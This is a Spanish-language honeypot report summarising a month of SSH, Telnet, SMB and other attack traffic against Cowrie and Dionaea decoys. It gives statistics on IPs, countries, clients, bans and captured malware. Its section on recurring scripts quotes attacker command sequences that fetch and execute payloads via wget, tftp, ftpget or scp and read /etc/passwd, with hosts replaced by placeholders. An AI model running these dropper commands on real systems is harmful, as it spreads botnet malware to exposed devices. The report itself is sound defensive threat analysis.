Análisis del señuelo

2026-08-22 11:20 a 2026-09-21 10:22 · generado el 2026-09-21 10:57 UTC desde respaldo

Todas las fechas y horas de este informe van en UTC, incluidas las de las tablas. Cowrie firma sus marcas con una "Z", pero escribe la hora local del contenedor, así que se reinterpretan como Europe/Kyiv y se convierten a UTC al leerlas; sin esa corrección, las marcas saldrían corridas y con pinta de correctas. Dionaea sí guarda UTC de verdad.

1. Lo que este informe no puede saber

• El país de una IP no es el país de quien ataca. La geolocalización es aproximada y sale de una tabla pública; una VPN, un proxy o una máquina ajena ya comprometida salen con el país de la máquina, no con el de la persona.
• Una IP no es una persona ni un actor. Detrás de una dirección puede haber una red entera con NAT, y un mismo operador puede ir rotando por cientos de direcciones. Cuando aquí se habla de "IPs distintas", se habla solo de direcciones.
• Cowrie emula un shell. Lo que se ve es lo que el atacante hizo contra un señuelo: qué habría hecho en una máquina de verdad no se puede saber, y hay herramientas que se van en cuanto algo no responde como esperan.
• Unos días de datos no son una tendencia. Sirven para describir este periodo, no para decir que algo sube o baja.
• Esto es una máquina, en un proveedor, en un país. Lo que recibe un señuelo depende del rango en el que esté; no es una muestra de todo internet.
• Lo que Cowrie no pudo decodificar se perdió antes de llegar aquí. Los bytes que anotó como carácter de reemplazo no están en el registro y no hay forma de recuperarlos.
• La columna ATT&CK es interpretación nuestra, y la única del informe: sale de ttp.tsv, que escribimos a mano.

2. Resumen

Cuánto llegó. Una participación es un contacto con cualquiera de los dos señuelos, y el total es la suma de los dos: 1.219.272 en total.

Qué hicieron. Esta es la cifra que separa la actividad real del ruido de fondo. Las dos proporciones van aparte porque no están en la misma unidad: una cuenta sesiones y la otra intentos de credencial.

• 587.482 órdenes tecleadas en total, una media de 17 por sesión entre las que teclean
• Un login correcto es alguien que acertó una de las credenciales que pusimos nosotros a propósito

Quién. Cuántas IPs distintas hay detrás de esas participaciones. Una IP distinta es una dirección, participe una vez o mil.

• 10.643 IPs distintas, desde 154 países
• Una media de 115 participaciones por IP
• 290 de ellas tocaron los dos señuelos, que están en direcciones públicas distintas

Qué hicimos nosotros. La única cifra del resumen que no habla de los atacantes, sino de nuestra reacción: 115 IPs baneadas , según la memoria del bot.

Lo que de verdad dicen esos números:

• El 3,9% de las sesiones llega a teclear algo (34.996 de 903.579)
• El resto prueba credenciales y se va. Esa es la cifra que conviene citar: el total de sesiones mide el ruido de fondo de internet, no la actividad real contra el señuelo
• Intentos de login que acertaron la credencial: 1.870

De esos 154 países, 19 aparecen con una sola IP y no salen en ninguna tabla ni en ningún esquema: los de arriba se llevan el volumen, pero la lista larga también atacó. Y 1 no se ha podido localizar.

2.1  Todos los países que han atacado

• Los 154 países en total que han participado, incluidos los que no caben en ningún esquema
• De cada uno: sus IPs distintas y sus órdenes tecleadas
• 19 aparecen con una sola IP

Elige cómo ordenarlo:

Destaca siempre aquello por lo que se ordena: el nombre en el orden alfabético, y la cifra correspondiente en los otros dos. Las demás cifras se quedan en gris a la derecha: se pueden comparar, pero no compiten con la que manda. La reordenación la hace el navegador con CSS, sin JavaScript: al copiar y pegar en un documento sale siempre en orden alfabético, que es como está escrito el fichero.

La memoria del bot guarda 309 guiones, 990 IPs, 111 muestras y 2 credenciales, y caduca a los 30 días con tope de 5.000 IPs. Los recuentos de arriba salen de cowrie.json, que es el que no olvida.

2.2  Cuándo han atacado más

Qué se puede ver aquí:

• Participaciones totales, los dos señuelos juntos
• Participaciones solo vía Cowrie (SSH y Telnet)
• Participaciones solo vía Dionaea (SMB, MSSQL y RPC)

Decimos participaciones y no "ataques" porque lo que se registra es muy distinto entre sí: unos fallan el login y se van, otros entran y no hacen nada, y otros entran y sueltan un binario. Llamarlo "ataques" daría a entender que todos consiguieron algo. Una participación es un contacto con el señuelo: una sesión en Cowrie o una conexión en Dionaea.

Cómo se lee el gráfico:

• Eje horizontal (X): los días, uno por barra. Arriba el día del mes y la inicial del día de la semana (L, M, X, J, V, S, D), abajo el mes
• Eje vertical (Y): las participaciones de ese día
• Las barras más oscuras son los días de más actividad
• Pasando el ratón por una barra salen su fecha y su cifra exacta

Elige qué visualizar:

2.3  A qué hora

• La hora más movida: las 23:00 UTC, con 67.052 participaciones
• La más tranquila: las 14:00 UTC, con 35.088 participaciones
• La hora más movida tiene 1,9 veces la actividad de la más tranquila, sobre una media de 50.803 por hora

Aquí importa menos la hora punta que lo parecidas que son las veinticuatro. Un reparto plano indica automatización, porque las máquinas no duermen. Si la actividad se concentrara en unas ocho horas, apuntaría a personas con horario, y eso sería lo llamativo.

2.4  Cuánto duran

• La mitad de las sesiones dura menos de 1,3 s
• Nueve de cada diez, menos de 5,9 s
• La más larga duró 51 min 29 s

2.5  De dónde: desde cuántos sitios distintos

Qué se puede ver aquí:

• IPs distintas totales, los dos señuelos juntos
• Solo las de Cowrie (SSH y Telnet)
• Solo las de Dionaea (SMB, MSSQL y RPC)

Una IP distinta es una dirección desde la que llegó al menos una participación. Si la misma dirección participa mil veces, cuenta una. Por eso esta figura mide algo distinto de la siguiente: aquí se ve desde cuántos sitios se ataca, y en la siguiente cuánto insiste cada uno.

Cómo se lee el gráfico:

• Cada triángulo es un país, y van repartidos en círculo
• El área del triángulo es proporcional a sus IPs. Se escala el área y no el lado, porque escalando el lado el doble se vería cuatro veces más grande
• En el centro, cuántas IPs suman los países dibujados y cuántos países quedan fuera
• Pasando el ratón por un triángulo sale su cifra exacta

Elige qué visualizar:

2.6  Quién trabaja de verdad

Qué se puede ver aquí:

• Actividad total, sumando los dos señuelos
• Solo las órdenes tecleadas en Cowrie
• Solo las conexiones a Dionaea

Una orden es cada línea que el atacante teclea ya dentro del señuelo. Una conexión es cada vez que se toca un puerto de Dionaea. Son cosas distintas y no se pueden comparar entre sí, pero sí se pueden sumar para saber qué país está más activo, y por eso el total lleva el desglose en cada barra.

Cómo se lee el gráfico:

• Cada barra es un país, de más a menos actividad
• Al final de la barra, su cifra; debajo, de qué se compone y desde cuántas IPs distintas sale
• Arriba, las dos llaves dicen qué es cada columna, y cambian con la pestaña que elijas
• Mucha actividad con pocas IPs es alguien trabajando; muchas IPs con poca actividad es un barrido automático

Elige qué visualizar:

2.7  Protocolos: por dónde entran

Qué se puede ver aquí:

• El reparto entre todos los protocolos, en un pastel
• Solo Telnet (puerto 23): los países que más lo atacan
• Solo SMB (puerto 445): los países que más lo atacan
• Solo SSH (puerto 22): los países que más lo atacan
• Solo MSSQL (puerto 1433): los países que más lo atacan
• Solo RPC (puerto 135): los países que más lo atacan

Los puertos son los públicos, no los internos del contenedor: Cowrie escucha en 2222 y 2223, pero quien ataca marcó el 22 y el 23. Un contacto es una participación contra ese puerto.

Cómo se leen:

• En el pastel, el porcentaje va dentro del trozo y la cifra exacta en la leyenda
• En las barras, cada una es un país, de más a menos
• Muchos contactos y pocos países es una botnet concreta; muchos de los dos es ruido de fondo de internet

Elige qué visualizar:

3. Actores: los guiones que se repiten

Un guion es el conjunto de órdenes ya normalizadas (URLs, IPs, hexadecimales y números largos sustituidos) que se repite entre sesiones. Que dos IPs compartan guion dice que usan la misma herramienta; no dice que sean el mismo actor.

3.1  Los que más aprietan

Los mismos guiones, ordenados por la media de órdenes por IP en vez de por el número de IPs que los corren. Un guion con pocas IPs y muchísimas órdenes por cada una suele ser alguien que vuelve una y otra vez, no un barrido.

3.2  Cómo se llaman a sí mismas

Muchas órdenes llevan una tira del tipo echo -e "\x4f\x56\x46": la herramienta escribe una palabra byte a byte y espera leerla de vuelta, que es como comprueba que al otro lado hay un shell de verdad y no un dispositivo que ignora lo que recibe. En hexadecimal es ruido; en claro es el nombre que la variante se pone a sí misma o la señal con la que se reconoce.

La orden se enseña tal como llegó en el desplegable de más abajo: esto es una lectura de esa prueba, no una sustitución. Solo se descifran las tiras que salen enteras en texto imprimible: con media palabra legible no se puede leer nada sin adivinar.

3.3  Con qué se conectan

La versión del cliente es la cadena que manda el programa del atacante nada más abrir la conexión, antes de probar ninguna credencial. No la elige quien ataca: la pone su herramienta, y por eso dice más de qué está corriendo que las órdenes que teclee después.

• El que más: SSH-2.0-Go, en 135.316 de 145.401 sesiones con cliente anotado (el 93,1%)
• Clientes distintos: 154

El HASSH es el resumen de los algoritmos que el cliente ofrece al negociar la conexión (cifrados, intercambio de claves, MAC y compresión) y del orden en que los ofrece. Lo calcula Cowrie. Dos IPs con el mismo HASSH corren el mismo programa aunque tecleen cosas distintas: esa huella no se cambia sin recompilar o sin cambiar de librería, y el atacante no la ve.

3.4  Quién corre cada guion

e56f5556b768 : 112 IPs, 128 sesiones, 4.619 órdenes · visto del 2026-09-01 08:51 al 2026-09-21 06:59

(y 97 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-

96b7a2c94703 : 83 IPs, 90 sesiones, 3.538 órdenes · visto del 2026-08-23 20:30 al 2026-09-20 22:56

(y 68 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(ftpget <IP> f ftpget || busybox ftpget <IP> f ftpget) > f; chmod 777 f; ./f; rm -rf f
ftpget <IP> f ftpget

7ab552f01de9 : 56 IPs, 133 sesiones, 133 órdenes · visto del 2026-08-22 14:58 al 2026-09-21 10:19

(y 41 IPs más)

uname -s -v -n -r -m

2d50aaadc233 : 41 IPs, 42 sesiones, 42 órdenes · visto del 2026-09-06 16:55 al 2026-09-11 08:22

(y 26 IPs más)

uname -a 2>/dev/null

4dd379d2cd85 : 37 IPs, 39 sesiones, 390 órdenes · visto del 2026-08-22 11:54 al 2026-09-15 19:41

(y 22 IPs más)

sh
shell
shell
enable
system
system
ping; sh
/bin/busybox STC
/bin/busybox hostname TOASTER
/bin/busybox wget <URL> -O- | sh;rm -rf tftp.sh;/bin/busybox tftp <IP> -g -r tftp.sh -l tftp.sh;chmod 777 tftp.sh && sh tftp.sh;rm -rf ftp.sh;/bin/busybox ftpget <IP> -P <N> ftp.sh ftp.sh;chmod 777 ftp.sh && sh ftp.sh;

1b66b7c0ce68 : 36 IPs, 39 sesiones, 897 órdenes · visto del 2026-08-24 01:23 al 2026-09-13 20:34

(y 21 IPs más)

id
cat /etc/passwd
echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
enable
system
system
shell
shell
sh
bash
cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
<CLAVE PRIVADA OMITIDA>
-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
-----END OPENSSH PRIVATE KEY----- > key.ppk; echo StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@<IP>:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- <URL> || curl -sk <URL> | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"

2e66008255ae : 36 IPs, 37 sesiones, 518 órdenes · visto del 2026-08-22 12:12 al 2026-09-14 11:29

(y 21 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"

d76a6da1beb0 : 24 IPs, 26 sesiones, 947 órdenes · visto del 2026-08-23 17:24 al 2026-09-20 18:54

(y 9 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
busybox
cd /proc && cat self/cmdline
/bin/busybox
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
/bin/busybox
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
/bin/busybox
/bin/busybox
/bin/busybox
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-

58fdeea7f78d : 22 IPs, 23 sesiones, 910 órdenes · visto del 2026-08-26 21:34 al 2026-09-11 21:40

(y 7 IPs más)

enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
busybox
cd /proc && cat self/cmdline
/bin/busybox
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
/bin/busybox
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
/bin/busybox
/bin/busybox
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
/bin/busybox
... y 2 órdenes más

feef62c9a2bc : 18 IPs, 18 sesiones, 180 órdenes · visto del 2026-08-22 20:33 al 2026-09-21 06:05

(y 3 IPs más)

/ip cloud print
/ip cloud print
ifconfig
uname -a
cat /proc/cpuinfo
ps | grep '[Mm]iner'
ps -ef | grep '[Mm]iner'
ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
locate D877F783D5D3EF8Cs
echo Hi | cat -n

4. IPs

La columna de logins fallidos lleva un guion (-), y no un cero, en las IPs que solo entraron por Telnet: este informe solo cuenta los logins de SSH, así que de una sesión de Telnet no se sabe si probó credenciales. Un cero diría que probó y no acertó, que es otra cosa.

4.1  Por país

Las cifras de esta tabla son solo de Cowrie: sesiones y órdenes son cosas de Cowrie, así que sus IPs también. La lista de "Todos los países que han atacado" cuenta las de los dos señuelos, y por eso un mismo país puede salir allí con más IPs que aquí. No es un descuadre: las dos cifras cuentan cosas distintas.

4.2  Por red /24

Agrupar las IPs por su red sirve para ver si detrás de muchas direcciones hay unas pocas redeso si el reparto está disperso. Las cifras de abajo lo dicen.

• 10.643 IPs repartidas en 8.318 redes /24 distintas
• Una media de 1,28 IPs por red
• La red más poblada aporta 111 IPs: el 1,0% del total

La tabla va de las redes con más direcciones a las que menos tienen. Mira la columna de órdenes para saber si además teclean algo o solo tocan y se van, la misma distinción que se hace en "Cuánto duran".

4.3  Las que tocaron los dos señuelos

290 IPs de las 10.643 aparecen en los dos señuelos: el 2,7% del total. Los dos escuchan en direcciones públicas distintas (una para el Linux y otra para el Windows, a propósito, porque un mismo host con SSH de Debian y SMB de Windows sería sospechoso). Quien aparece en los dos no buscaba un servicio concreto: ha recorrido el rango entero del proveedor.

4.4  IPs baneadas

En total 115, según la memoria del bot. Se cruzan aquí con lo que hicieron: una IP baneada que no había tecleado nada entró por el baneo automático de repetición, no por lo que hizo en la sesión.

• 115 baneadas en total, según la memoria del bot
• 115 con actividad en este registro; 0 son de antes
• 10.638 IPs denunciadas a AbuseIPDB en total, que es otra cosa: no tienen por qué estar entre las baneadas

4.5  Quién ordenó cada baneo

• 98 automáticos, puestos por el vigilante al repetirse la IP
• 5 a mano, desde el botón de Telegram
• 11 con la etiqueta antigua, de origen desconocido: son de antes de que se separaran las etiquetas automática y manual
• 1 que el bot recuerda pero ya no está en el cortafuegos: o caducó, o se quitó a mano

Las puestas a mano, una a una: <IP-SI-002>, <IP-PK-023>, <IP-PK-024>, <IP-PK-008>, <IP-PK-017>

5. Credenciales probadas

5.1  Las que funcionaron

O sea, las que pusimos nosotros en userdb.

5.2  Qué hicieron los que acertaron

• 1.870 sesiones entraron con una credencial buena
• 469 de ellas teclearon algo (el 25,1%); las otras 1.401 entraron y se fueron sin escribir una sola orden

Entrar y no hacer nada no indica un fallo del señuelo. Es lo habitual en quien solo quiere saber si la clave vale, para apuntarla o venderla. Quien viene a usar la máquina se queda y teclea.

5.3  Las más intentadas sin éxito

Es el diccionario de contraseñas que traen los atacantes.

5.4  Usuarios más buscados

6. Malware capturado

Los dos señuelos juntos. El SHA-256 se calcula del fichero, no se da por bueno el nombre: Cowrie y Dionaea nombran sus capturas por su hash, pero eso es una convención y un respaldo hecho en caliente puede dejar un fichero a medias con el nombre entero.

6.1  Los más entregados

Ordenados por cuántas veces se entregó el mismo binario. Una muestra que llega cientos de veces desde decenas de IPs es una campaña; una que llega una sola vez suele ser una prueba.

6.2  Agrupados por tamaño

Decenas de binarios distintos que pesan casi lo mismo suelen ser el mismo programa recompilado con variaciones de unos bytes. Por eso el número de muestras distintas engaña si se lee como número de familias.

394 de los 537 binarios distintos (73,4%) pesan exactamente 5.298.176 bytes, no parecido: el mismo número al byte, con 394 hashes distintos. Contarlos como 537 muestras distintas es correcto; leerlos como 537 programas distintos, no.

6.3  Quién sirve el malware, y además ataca

La URL de origen de una muestra dice de dónde se la bajó el señuelo. Estas direcciones aparecen ahí y en la lista de atacantes: se conectaron ellas mismas y, además, sirvieron el binario a otras. Eso apunta a la infraestructura de quien dirige el ataque, más que a una máquina infectada que alguien usa de paso.

7. TTPs

La conducta y los recuentos son observados. La columna ATT&CK es inferida: es nuestra lectura de esa conducta, y sale de ANALISIS/ttp.tsv.